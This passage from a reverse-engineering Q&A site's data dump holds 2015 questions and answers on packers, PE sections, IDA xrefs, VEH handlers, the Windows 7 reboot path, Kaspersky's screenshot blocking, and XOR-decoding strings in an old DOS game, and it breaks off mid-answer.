  <row Id="8388" PostTypeId="1" CreationDate="2015-03-05T14:24:33.993" Score="1" ViewCount="127" Body="&lt;p&gt;I'm on the lookout for packers that I could use/read the source for, that don't decrypt the contents of the original binary in one go and jump to it. Do you know of any packer that decodes/decrypts a functions contents on the fly(when it is called) and jumps to it? Or of any packer/protector that does anything similar?&lt;/p&gt;&#xA;" OwnerDisplayName="user1743" LastActivityDate="2015-03-05T14:24:33.993" Title="Packers that partially decrypts contents on-the-fly" Tags="|pe|elf|packers|protection|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8389" PostTypeId="2" ParentId="8387" CreationDate="2015-03-05T15:50:00.620" Score="1" Body="&lt;p&gt;In this case struct1 is such a general structure should be initialized to use, otherwise such this statement : &lt;code&gt;mov eax , struct1.second&lt;/code&gt; just gives you the offset of &lt;code&gt;struct1&lt;/code&gt; from the begging. I think you've misunderstood the &lt;code&gt;Initializedstructure&lt;/code&gt; to an instruction or other directives.You can name it what you want and use the initialized &lt;code&gt;struct&lt;/code&gt; in the rest by its name.For instance, in the .data section you would use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AAAA struct1 &amp;lt;4,10,60&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So in the rest of code in the .code section using following statement will work,&#xA;&lt;code&gt;mov eax , AAAA.second&lt;/code&gt; and give you (in this case) 10 and the &lt;code&gt;mov eax, offset AAAA.second&lt;/code&gt; give the offset of second member in run-time.&lt;/p&gt;&#xA;" OwnerUserId="10428" LastEditorUserId="53" LastEditDate="2015-03-05T20:28:19.613" LastActivityDate="2015-03-05T20:28:19.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8390" PostTypeId="1" CreationDate="2015-03-05T17:26:41.980" Score="1" ViewCount="4660" Body="&lt;p&gt;I am working with PE binaries using Python and the pefile library. Its good for reading information out of a binary and rewriting certain bytes. If I wanted to add a section to the file then i am clueless on how to do it. I would be thankful if someone can provide me any previous works in this topic or help regarding this. &lt;/p&gt;&#xA;" OwnerUserId="10410" LastActivityDate="2019-11-20T14:13:40.523" Title="Python: Adding a asection to a PE file" Tags="|pe|python|packers|" AnswerCount="3" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8391" PostTypeId="2" ParentId="8384" CreationDate="2015-03-05T17:27:26.760" Score="2" Body="&lt;p&gt;This is the &quot;stolen bytes&quot; technique, where the first few bytes of the function are copied to a remote location and executed from there, then the original function is called from the location after the bytes that were copied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The purpose of skipping the first few bytes of the function allows you to call the function body without being &quot;detected&quot;.  That is, any code which detoured the function at exactly the start would be bypassed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your example, the EBP manipulation is meaningless.  Those instructions exist in the original function in order to provide a familiar signature for routines that, for example, detour the code (but which is presumably broken by also including the hot-patching support).  Note that the POP instruction did not exist in that location before Windows 7, with the introduction of the kernelbase.dll.  Previously, the real function body would have followed the MOV instruction.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2015-03-05T17:27:26.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8392" PostTypeId="1" CreationDate="2015-03-05T18:51:11.447" Score="3" ViewCount="342" Body="&lt;p&gt;I'm looking at an Apple iOS binary file which is heavily protected and I trying to figure out if there's a way to get some of the information back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I open the binary in IDA I see this in the Imports Tab:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Address     |            Name                 |     Library&#xA;0002EFF0    |     lg8ZfjWOccD3RctMJwwU9b      |  /usr/lib/libstdc++.6.dylib&#xA;0002EFF4    |          4rqFsZJpPBx            |  /usr/lib/libz.1.dylib&#xA;0002EFF8    |     I0Lotzqwlr8UzNDPNddy5       |/System/Library/Frameworks/UIKit.framework/UIKit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to figure out what is going on, appreciate if someone could tell me how this could happen, and it there's a way for me to resolve what functions are being used.&lt;/p&gt;&#xA;" OwnerUserId="5804" LastEditorUserId="2147" LastEditDate="2016-10-21T03:32:25.873" LastActivityDate="2016-10-21T03:32:25.873" Title="iOS Obfuscated Import Table" Tags="|ida|assembly|arm|ios|import-reconstruction|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8393" PostTypeId="2" ParentId="8392" CreationDate="2015-03-05T20:47:54.497" Score="2" Body="&lt;p&gt;My guess would be that the packer/obfuscator does manual importing by scanning for dylibs in memory or maybe walking the dyld structures. The names in the import list are red herrings, and the fake imports are probably present only to ensure the loading of the required dylibs. you will have to analyze and/or debug the code to figure out how it really works.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2015-03-05T20:47:54.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8394" PostTypeId="1" CreationDate="2015-03-05T21:13:48.170" Score="2" ViewCount="318" Body="&lt;p&gt;I know that there are differently methods to do a reboot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm working on a simple hyper-visor and I have a little problem when I want to reboot a multi-processor aware x86 Windows 7 Guest. &#xA;The main steps the OS does seem to be: Task Switch - Task Switch - Triple Fault. This happens on all CPUs except one which does not initiate a Task Switch at all and hangs somewhere. The last exit I get from it is a CPUID with EAX = 1 so I really don't know (yet) where or why it does not get to do a Task Switch like all the others. I'm a bit stuck on understanding this - maybe some details about what should normally happen will help me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the actual method that is used for a reboot by a x86 Windows 7? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt; I figured this out a few days ago, but I haven't got time to update the post. I'm not going to answer my own question because I don't think this is a full and definitive answer, but for someone who might have the same problem this will make things a bit easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Turns out, that the missing CPU was halted. The flow is, more ore less, this: Task Switch, Triple Fault (for n-1 CPUs) and halt (for the n-th CPU). After this there should be an init on each one and then everything is reset. &lt;/p&gt;&#xA;" OwnerUserId="8119" LastEditorUserId="8119" LastEditDate="2015-03-11T13:32:00.667" LastActivityDate="2015-03-11T13:32:00.667" Title="Windows 7 x86 reboot process" Tags="|windows|x86|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8395" PostTypeId="2" ParentId="8394" CreationDate="2015-03-05T23:50:58.010" Score="3" Body="&lt;p&gt;See my findings below based on some quick analysis in IDA, but take it all with a grain of salt. There may be other scenarios that would cause Windows 7 to reboot through other mechanisms when performing a planned reboot. Perhaps others on this site can contribute with their expertise...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;​&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the lowest level, Windows calls &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/hardware/ff546622%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;hal!HalReturnToFirmware()&lt;/code&gt;&lt;/a&gt;, which calls &lt;code&gt;hal!HalpReboot()&lt;/code&gt;, &lt;a href=&quot;http://doxygen.reactos.org/da/d2a/halx86_2generic_2reboot_8c_a99d2b319b30dfc7561f1ceec89827e21.html#a99d2b319b30dfc7561f1ceec89827e21&quot; rel=&quot;nofollow&quot;&gt;which is pretty well documented in ReactOS&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In both Windows 7 and ReactOS, the final instructions that actually cause the reboot are effectively:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov al, 0xFE&#xA;out 0x64, al&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This writes the system reset command to the keyboard controller's IO port.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-03-05T23:50:58.010" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="8396" PostTypeId="2" ParentId="8390" CreationDate="2015-03-06T09:11:54.390" Score="0" Body="&lt;p&gt;See this: Adding/removing sections with Python &lt;a href=&quot;http://www.reddit.com/r/ReverseEngineering/comments/1jpghd/addingremoving_sections_with_python/&quot; rel=&quot;nofollow&quot;&gt;http://www.reddit.com/r/ReverseEngineering/comments/1jpghd/addingremoving_sections_with_python/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2015-03-06T09:11:54.390" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8397" PostTypeId="1" AcceptedAnswerId="8398" CreationDate="2015-03-06T10:55:28.563" Score="4" ViewCount="530" Body="&lt;p&gt;Given a disassembly line in IDA Pro such as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:0040255B      call    sub_407C10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I right to assume that analyzing the belonging address using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;idautils.XrefsFrom(0x0040255B)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;always returns an xref of type 'Code_Far_Call' (xref.type 16) or 'Code_Near_Call' (xref.type 17)&#xA;and not&#xA;an xref of type &quot;Code_Near_Jump&quot; or &quot;Code_Far_Jump&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, can function call destination addresses always be identified by checking if the xref.type is of type 16 or 17 and then taking the value in xref.to?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course in addition to the Call/Jump xref, the above statement always returns an xref of type 21 (the ordinary control flow).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A list of possible xref types can be found here: &lt;a href=&quot;https://code.google.com/p/idapython/source/browse/trunk/python/idautils.py&quot; rel=&quot;nofollow&quot;&gt;https://code.google.com/p/idapython/source/browse/trunk/python/idautils.py&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the difference between a Code_Far_Call xref and a Code_Near_Call xref anyway?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help!&lt;/p&gt;&#xA;" OwnerUserId="11830" LastEditorUserId="11830" LastEditDate="2015-03-06T11:52:22.180" LastActivityDate="2015-03-06T12:24:54.690" Title="Function calls: xref.type always 'Code_Far_Call' or 'Code_Near_Call'?" Tags="|ida|disassembly|assembly|idapython|python|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8398" PostTypeId="2" ParentId="8397" CreationDate="2015-03-06T12:24:54.690" Score="3" Body="&lt;p&gt;This depends a bit on your compiler, Actually, as you seem to be using a 32 bit OS, i wouldn't expect any far calls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Near calls and Far calls are relicts from 16-bit area, where a call within the same 64 kbyte segment, that only changes &lt;code&gt;IP&lt;/code&gt;, but not &lt;code&gt;CS&lt;/code&gt;, was named a &lt;code&gt;near call&lt;/code&gt;, and a call to anywhere in the address space, that changes &lt;code&gt;CS&lt;/code&gt; &lt;em&gt;and&lt;/em&gt; &lt;code&gt;IP&lt;/code&gt;, was named a &lt;code&gt;far call&lt;/code&gt;. Correspondingly, there were two different instructions &lt;code&gt;ret&lt;/code&gt; and &lt;code&gt;retf&lt;/code&gt; to return from the subroutine, that would pop just &lt;code&gt;IP&lt;/code&gt;, or &lt;code&gt;CS&lt;/code&gt; and &lt;code&gt;IP&lt;/code&gt; from the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the introduction of protected mode, and 32 bit segments, management of segment registers became the responsibility of the operating system, and user mode programs stopped fiddling with them. So you shouldn't see any far calls, or &lt;code&gt;retf&lt;/code&gt; instructions, anymore - unless you're disassembling the parts of the operating system that handle task switching, possibly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might see the occasional jump to a function, however (ref type 19), depending on your compiler. If the compiler optimizes tail recursion, it will replace the last &quot;call self / ret&quot; instruction with a &quot;jmp self&quot; instruction, and if parameter types match, it might replace a &quot;call someotherfunction / ret&quot; with &quot;jmp someotherfunction&quot; as well. I've seen this a lot in ARM code, and 64 bit Intel code, but can't remember seeing it in 32 bit compiled Intel code at the moment. However, i haven't worked with 32 bit Intel assembly much, recently, so there might be some newer compilers that do this without me noticing.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-03-06T12:24:54.690" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8400" PostTypeId="1" AcceptedAnswerId="13257" CreationDate="2015-03-06T18:06:29.720" Score="1" ViewCount="1108" Body="&lt;p&gt;I have ~20,000 .asm files from IDA pro output via hex-rays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These were all created from known malware, and all from 32bit Windows Portable Executables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I &lt;strong&gt;do not&lt;/strong&gt; have the original executables, just the disassembled output(.asm) files.  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;What I am trying to obtain is a list of any possible mnemonics (i.e. add, xor, jump, etc..) ,that IDA could output into an .asm file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this list I will be attempting a machine learning/ malware classification task using grep (or similar)  to compile statistics.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Inspecting them visually I have hand crafted a list of 30 or so ( jmp, push,mov, call, lea.. etc etc) with help from this site, which list common instructions &lt;a href=&quot;http://www.strchr.com/x86_machine_code_statistics&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.strchr.com/x86_machine_code_statistics&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any clues in the headers of these files which could assist in defining possible mnemonics ? Are these consistent across platforms or specific to some attribute of the original file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I searched IDA pros documentation, and it seem all the functionality for this is available during the disassembling process, but I am stuck with the .asm files to parse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;similar questions with no help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2632/parsing-ida-pro-asm-files&quot;&gt;Parsing IDA Pro .asm files&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2493/ida-pro-list-of-functions-with-instruction&quot;&gt;IDA Pro List of Functions with Instruction&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;sample .asm Header&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;       ;&#xA;       ; +-------------------------------------------------------------------------+&#xA;       ; |   This file has been generated by The Interactive Disassembler (IDA)    |&#xA;       ; |       Copyright (c) 2013 Hex-Rays, &amp;lt;support@hex-rays.com&amp;gt;       |&#xA;       ; |          License info:                              |&#xA;       ; |                Microsoft                |&#xA;       ; +-------------------------------------------------------------------------+&#xA;       ;&#xA;&#xA;       ; ---------------------------------------------------------------------------&#xA;       ; Format      : Portable executable for 80386 (PE)&#xA;       ; Imagebase   : 400000&#xA;       ; Section 1. (virtual address 00001000)&#xA;       ; Virtual size              : 0002964D ( 169549.)&#xA;       ; Section size in file          : 00029800 ( 169984.)&#xA;       ; Offset to raw data for section: 00000400&#xA;       ; Flags 60000020: Text Executable Readable&#xA;       ; Alignment     : default&#xA;       ; OS type     :  MS Windows&#xA;       ; Application type:  Executable 32bit&#xA;&#xA;               include uni.inc ; see unicode subdir of ida for info on unicode&#xA;&#xA;               .686p&#xA;               .mmx&#xA;               .model flat&#xA;&#xA;       ; ===========================================================================&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;sample from inside&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00401080                             ; ---------------------------------------------------------------------------&#xA;.text:00401081 CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC            align 10h&#xA;.text:00401090 8B 44 24 10                             mov     eax, [esp+10h]&#xA;.text:00401094 8B 4C 24 0C                             mov     ecx, [esp+0Ch]&#xA;.text:00401098 8B 54 24 08                             mov     edx, [esp+8]&#xA;.text:0040109C 56                                  push    esi&#xA;.text:0040109D 8B 74 24 08                             mov     esi, [esp+8]&#xA;.text:004010A1 50                                  push    eax&#xA;.text:004010A2 51                                  push    ecx&#xA;.text:004010A3 52                                  push    edx&#xA;.text:004010A4 56                                  push    esi&#xA;.text:004010A5 E8 18 1E 00 00                              call    _memcpy_s&#xA;.text:004010AA 83 C4 10                                add     esp, 10h&#xA;.text:004010AD 8B C6                                   mov     eax, esi&#xA;.text:004010AF 5E                                  pop     esi&#xA;.text:004010B0 C3                                  retn&#xA;.text:004010B0                             ; ---------------------------------------------------------------------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks for any pointers or clues as to the best way to approach this and my apologies if this isn't suitable for this forum.&lt;/p&gt;&#xA;" OwnerUserId="11913" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2017-04-05T07:45:06.697" Title="Large number of IDA .ASM files, need list of potential mnemonics" Tags="|ida|hexrays|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8401" PostTypeId="1" CreationDate="2015-03-06T18:30:26.593" Score="2" ViewCount="1175" Body="&lt;p&gt;I was looking for a way to get to the VEH handler (specified by the application being reversed) that gets called when an exception occurs. I have read &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1911/whats-fs0-doing-and-how-can-i-execute-it-step-by-step&quot;&gt;this&lt;/a&gt; question and it explains some things nicely, but my situation is slightly different. The code I'm stepping/executing throws an exception:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OIv0a.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that situation, what can I do to get to the handler code and step it with Olly (other than statically analyzing the executable and looking for &lt;code&gt;AddVectoredExceptionHandler&lt;/code&gt; and friends)?&lt;/p&gt;&#xA;" OwnerUserId="8346" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2015-03-08T19:56:42.653" Title="Find and step VEH handlers with Olly?" Tags="|windows|ollydbg|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8402" PostTypeId="2" ParentId="8401" CreationDate="2015-03-06T18:54:12.517" Score="1" Body="&lt;p&gt;If you're only using export table symbols (the default), then your best bet would likely to be to set a breakpoint on &lt;code&gt;ntdll!KiUserExceptionDispatcher()&lt;/code&gt;. When it's called, you can trace into it to find the vector handler list. On the other hand, if you have ntdll.dll's public symbols PDB, then you can find the vector handler list directly by looking at &lt;code&gt;_LdrpVectorHandlerList&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Honestly though, it's probably easier to just set a logging breakpoint on &lt;code&gt;AddVectoredExceptionHandler()&lt;/code&gt; and record each VEH entry as it's added.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-03-06T18:54:12.517" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8405" PostTypeId="1" CreationDate="2015-03-07T06:28:15.910" Score="1" ViewCount="108" Body="&lt;p&gt;I came across this cool feature while playing around with Kaspersky '15. Basically, when you launch a &quot;Smart Money&quot; Protected Browser (this browser is just a modified, clean install of Chrome), if your computer hardware supports VTx, you are unable to take screenshots while the protected browser is running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried doing some research myself (furious Googling, browsing RE websites like kernelmode.info, etc...) but I couldn't figure out how they did it. For more details, check out their &quot;troubleshooting&quot; section about the technology: &lt;a href=&quot;http://support.kaspersky.com/us/9955&quot; rel=&quot;nofollow&quot;&gt;http://support.kaspersky.com/us/9955&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any idea on how this is done? When I try to grab the screen, I just get an entirely black screenshot. I don't know how one can leverage VTx to accomplish such a task. Are they just using VTx to hook all the screen capture syscalls?! Or is there a more interesting way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll probably try to poke around with the KAV drivers, but they definitely don't make it easy to RE them. &lt;/p&gt;&#xA;" OwnerUserId="11923" LastActivityDate="2015-03-07T09:58:34.663" Title="How does one leverage VTx to disable screen capture?" Tags="|virtual-machines|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8406" PostTypeId="1" AcceptedAnswerId="8409" CreationDate="2015-03-07T07:23:45.287" Score="13" ViewCount="2718" Body="&lt;p&gt;I am attempting to amend some strings in an old DOS game (FIFA International Soccer), specifically the names of players.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the past it hasn't been too hard to pull off such a task on post-DOS games as either the strings are easy to track down in the executable or a data file.  However, for this DOS game I am stuck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have scanned through the game files and the executable with a hex-editor but cannot find the strings.  The game includes a &lt;code&gt;english.dat&lt;/code&gt; file which does contain readable localised strings.  However, this file only contains names for in game headers and menu options as opposed to the player names I am seeking.  The other files consist of localised strings for other languages, graphics and sounds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used a debug build of DOSBOX to perform a memory dump using the following command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;memdumpbin 180:0 1000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I got the command from here: &lt;a href=&quot;http://www.vogons.org/viewtopic.php?t=9635&quot;&gt;http://www.vogons.org/viewtopic.php?t=9635&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the memory dump I &lt;strong&gt;can&lt;/strong&gt; find the strings I wish to change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way of linking this information to find the source of the strings?  I assume that these strings are somehow encrypted or compressed in the executable, although it could be in another obscure game file.  If the strings are compressed/encrypted perhaps there is a common method for pulling this data out of the executable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have IDA5 (free version) installed and would be happy using this as part of process.  My operating system is Windows 8 / 64 bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, to be clear - I want to modify the strings at source (i.e. in the file) and not in memory.&lt;/p&gt;&#xA;" OwnerDisplayName="user11826" LastEditorUserId="53" LastEditDate="2017-04-28T12:52:32.030" LastActivityDate="2017-04-28T12:52:32.030" Title="How can I find the source of a string in an old DOS game?" Tags="|disassembly|debugging|strings|dos|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8407" PostTypeId="2" ParentId="8405" CreationDate="2015-03-07T09:58:34.663" Score="1" Body="&lt;p&gt;This question will most likely be closed as primarily opinion based, since &quot;how does a particular system work&quot; can't be answered unless there's either documentation about it or someone has reverse-engineered it already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So take this answer with a grain of salt - it describes how i'd tackle the problem. It might not even be feasible after closer investigation, and Kaspersky might have done something completely different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you want to do is allow the video driver to write the video card memory, while preventing it from reading the same memory - which is hard to do by just messing with memory access bits, as the driver is running with &lt;code&gt;Ring 0&lt;/code&gt; privileges within the kernel. Also, features like alpha blending might be implemented by reading a video memory cell, messing with the value, and writing it back, so you can't just prevent all video memory reads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;VT-X allows you to capture instructions in Ring 0 mode, so they might trap read accesses to the video memory, check the call stack from within the hypervisor, and then decide if they want to read the real value or just simulate black by replacing the read value with 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They might even track the usage of the value, allow the video driver to use the real value, but replace it with a 0 whenever something outside the driver tries to access it (however, i doubt they're doing that, since it's awfully hard to do correctly, and requires emulating the processor until it leaves the driver, which has performance issues as well).&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-03-07T09:58:34.663" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8408" PostTypeId="2" ParentId="8406" CreationDate="2015-03-07T10:22:33.517" Score="6" Body="&lt;p&gt;There's an &lt;a href=&quot;https://github.com/wjp/idados&quot;&gt;ida plugin&lt;/a&gt; that connects to (a patched version of) DosBox and allows you to debug DosBox games from ida. However, i doubt you'd get that to work with the free version of ida.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fact that your memdumpbin uses the address &lt;code&gt;180:0&lt;/code&gt; hints that the game uses a dos extender, so the &quot;real&quot; program is a 32 bit program which runs in protected mode - 180 is the segment value that dos extenders typically use for their 32 bit segment. Which poses another problem - IDA 5 free can read the dos part of a 16 bit .exe (which is basically the extender), but not the 32 bit part (which has a format known as LE).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the even older IDA Free 4.1 was able to read LE files, and it's still floating around on the internet (search for idafre41.zip). And there's a free dos extender &lt;a href=&quot;http://dos32a.narechk.net/index_en.html&quot;&gt;DOS32A&lt;/a&gt; which includes a tool (you need to download the source code) that separates the 32 bit LE file from the 16 bit extender. When i wanted to debug a similar program a year ago, i was able to use DOS32A to get the LE file, load that into IDA 4.1 to get an IDA database, and open that database in IDA free 5.0. (I bought IDA by now, which made my life much easier; i'd recommend this to anybody despite the price which is a bit steep for a hobbyist)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might be able to match the address where you found the player names to an XREF in IDA, then check the functions that access that address for what writes to it, then use the debugger integrated in DOS32A to debug your program and verify where the player names get written, and finally trace their source and modify this. However, if the names are really compressed in the original .exe file, you'd have to identify the compression scheme from the assembly text (which may or may not be a standard one), then find out how to compress your modified strings according to that scheme, and hope the new strings will fit into the memory that the old compressed strings use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, your task isn't going to be easy, but you'll learn a lot in the process - good luck!&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-03-07T10:22:33.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8409" PostTypeId="2" ParentId="8406" CreationDate="2015-03-07T15:11:58.303" Score="18" Body="&lt;p&gt;This program uses the PharLap DOS extender, as can be seen in its MZ header. The 32-bit executable program starts at offset &lt;code&gt;18A0&lt;/code&gt;, per &quot;offset within header of relocation table&quot; (see &lt;a href=&quot;http://www.program-transformation.org/Transform/PcExeFormat&quot;&gt;http://www.program-transformation.org/Transform/PcExeFormat&lt;/a&gt;), and at that position you can see the correct signature &lt;code&gt;P3&lt;/code&gt;. According to the header info, the executable's length is &lt;code&gt;0x95851&lt;/code&gt;, which is another hint this is correct. Near the end of this part, starting at &lt;code&gt;18A0&lt;/code&gt;, you can see a text string  &quot;Hello EA&quot;, and at the next 32-byte &quot;page&quot; the signature &lt;code&gt;MZ&lt;/code&gt; that indicates another executable is embedded. So this large part must contain the main executable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Browsing the file with a simple hex editor at my preferred width of 16 hex characters, I noticed a recurring pattern when doing page-downs (a good way to get a 'sense' of what sort of data a file contains). I saw the pattern repeated every 2 lines, and when I set the display width to 32, the pattern was evident. Executable formats always start with a fixed header, and are usually followed by lots of zeroes for padding, so I suspected the repeating pattern may be the XOR key. A simple C program confirmed this; I did not know where to start with decoding but the first non-all-zeroes multiple of 32 seemed a good guess: offset &lt;code&gt;0x1AA0&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Decoding from there proved the hunch to be correct:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000 : Y...r9..n3.&amp;gt;..-.A@I.7P........h4..a&quot;1.P(s.......x. rG..f...X.+..&#xA;00040 : ..a|D.P(.b..A...x......f3..F..h4....a.P(...........o7..f3..F2...&#xA;00080 : .@@@@@@...@@BLASTER=@ULTRASND=@GOLD=@mvsound.sys@DEVICEdevice@@@&#xA;000C0 : @@@@@@@@@@@.......ULTRAMID@@@@@@@@@@@@@@@ ..@.@@@@@@.........@.@&#xA;00100 : .@.@.@.@.@.@.@.@.@.@.@.@.@.@.@.@.@@.@@@@..@@...@@@..@@......&amp;amp;...&#xA;00140 : ./....8....C....N....X...@c.@@ m....y...................C.......&#xA;00180 : .PCSPKR.ADV@MT32MPU.ADV@ADLIB.ADV@ADLIBG.ADV@SBFM.ADV@SBFM.ADV@S&#xA;001C0 : BP1FM.ADV@SBP2FM.ADV@PASFM.ADV@PASOPL.ADV@TANDY.ADV@GF1MIDI.ADV@&#xA;00200 : CUST_MID.ADV@SBP2FM.ADV@SBAWE32.ADV@@@@ALGDIG.ADV@SBDIG.ADV@SBDI&#xA;00240 : G.ADV@SBPDIG.ADV@SBPDIG.ADV@PASDIG.ADV@PASDIG.ADV@@GF1DIGI.ADV@C&#xA;(etc.)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so the next step was scroll down to near the end of this part and see what was there. Disaster! Rather than readable texts, all I saw was random data -- yet still with clear patterns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But 'an executable' is not one contiguous long chunk of data. It's common to see it divided up into separate sections for &quot;executable code&quot;, &quot;initialized data&quot;, &quot;uninitialized data&quot;, &quot;relocations&quot; and so on. The sections all start at an aligned address when loaded into memory, but not necessarily in the file itself, or with the same 'memory page' size. Therefore, it may be possible that the XOR encryption restarts at the start of new section. The PharLap header should contain information on where each section starts and ends (and if you are going to attempt to adjust the program, you should look into this), but to confirm the XOR key is the same all I had to do is adjust the starting position. 